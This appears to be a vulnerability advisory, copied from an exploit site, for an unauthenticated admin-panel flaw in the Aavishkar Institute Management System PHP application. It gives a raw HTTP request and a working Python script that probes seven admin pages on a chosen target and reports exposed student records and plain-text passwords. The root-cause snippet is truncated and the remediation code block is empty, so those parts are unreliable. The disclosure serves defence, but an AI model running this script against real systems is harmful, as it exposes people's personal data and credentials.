## https://sploitus.com/exploit?id=12251643-F768-596C-B627-01ACF2F824A6
# CVE-2026-PENDING โ Aavishkar Institute Management System
## Broken Access Control โ Full Admin Panel Without Authentication
---
## Details
| Field | Info |
|---|---|
| **CVE ID** | Pending MITRE Assignment |
| **Product** | Aavishkar Institute Management System |
| **Vendor** | TanuSharma08 |
| **Vendor URL** | https://github.com/TanuSharma08/aavishkar-institute-admission-system-php |
| **Vulnerability Type** | Broken Access Control |
| **Affected Files** | admin/users.php, admin/admissionlist.php, admin/feedback.php, admin/messages.php, admin/studquery.php, admin/lv_app.php, admin/courses.php |
| **CWE** | CWE-306 |
| **CVSSv3 Score** | 9.8 Critical |
| **CVSSv3 Vector** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Discoverer** | Harsh D Sanghvi |
| **Discovery Date** | 31 July 2026 |
| **Vendor Notified** | 31 July 2026 |
| **Disclosure Deadline** | 29 October 2026 |
---
## Description
The Aavishkar Institute Management System contains a broken access
control vulnerability where all administrative pages are accessible
without any authentication. The admin/header.php file outputs HTML
before calling session_start(), causing the header() redirect to
fail silently. Any unauthenticated remote attacker can access all
student records, user credentials, admission applications, messages,
and feedback without any login.
---
## Root Cause
The session check in admin/header.php is placed after HTML output:
```php
";
session_start();
if(!isset($_SESSION['admin']))
{
header('location:../login.php');
}
?>
```
Because HTML is echoed before session_start() and header() are called,
PHP cannot send the redirect header. The page continues to load and
returns all data to the unauthenticated visitor.
---
## Affected Admin Pages
| Page | Data Exposed |
|---|---|
| admin/users.php | All user accounts, mobile numbers, plain text passwords |
| admin/admissionlist.php | All student admission records with personal details |
| admin/feedback.php | All user feedback and contact details |
| admin/messages.php | All admin messages sent to students |
| admin/studquery.php | All student queries and replies |
| admin/lv_app.php | All leave applications |
| admin/courses.php | All course management |
---
## Proof of Concept
Step 1 โ Send this request with no cookie or session:
```
GET /admin/users.php HTTP/1.1
Host: target.com
```
Step 2 โ Result: HTTP 200 with all user data returned.
No login required. No session cookie needed.
---
## PoC Script
```python
#!/usr/bin/env python3
"""
CVE-2026-PENDING
Product : Aavishkar Institute Management System
Type : Broken Access Control
CWE : CWE-306
CVSSv3 : 9.8 Critical
Author : Harsh D Sanghvi
Date : 31 July 2026
"""
import requests
import sys
def main():
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
print("=" * 60)
print(" Broken Access Control - Admin Panel No Auth")
print(" Aavishkar Institute Management System")
print("=" * 60)
print(f"[*] Target: {target}")
print()
pages = [
"admin/users.php",
"admin/admissionlist.php",
"admin/feedback.php",
"admin/messages.php",
"admin/studquery.php",
"admin/lv_app.php",
"admin/courses.php",
]
confirmed = []
for page in pages:
r = requests.get(f"{target}/{page}")
status = "EXPOSED" if r.status_code == 200 and len(r.text) > 300 else "SAFE"
print(f"[{status}] /{page} -> HTTP {r.status_code} ({len(r.text)} bytes)")
if status == "EXPOSED":
confirmed.append(page)
print()
if confirmed:
print(f"[+] SUCCESS - {len(confirmed)} admin pages exposed without login!")
print(f"[+] No session cookie required")
print(f"[+] All student and user data is exposed to anyone")
else:
print("[-] Target does not appear vulnerable")
if __name__ == "__main__":
main()
```
---
## Impact
- All student personal data exposed to unauthenticated visitors
- All user accounts including mobile numbers and plain text passwords exposed
- All admission records, messages, feedback, and queries accessible
- No authentication required โ exploitable by anyone on the internet
- Combined with SQL Injection vulnerabilities in same codebase enables full data destruction
---
## Remediation
Move session_start() before any HTML output in admin/header.php:
```php
```
---
## Timeline
| Date | Event |
|---|---|
| 31 July 2026 | Vulnerability discovered |
| 31 July 2026 | Reported to MITRE via cveform-legacy.mitre.org |
| 31 July 2026 | Vendor notified via GitHub issue |
| Pending | CVE ID assigned by MITRE |
| 29 October 2026 | Public disclosure deadline |
---
## References
- Vendor Repo: https://github.com/TanuSharma08/aavishkar-institute-admission-system-php
- Vendor Issue: https://github.com/TanuSharma08/aavishkar-institute-admission-system-php/issues/1
- CWE-306: https://cwe.mitre.org/data/definitions/306.html
- OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
---
## Discoverer
**Harsh D Sanghvi**
Independent Security Researcher
GitHub: https://github.com/Harshsanghvi108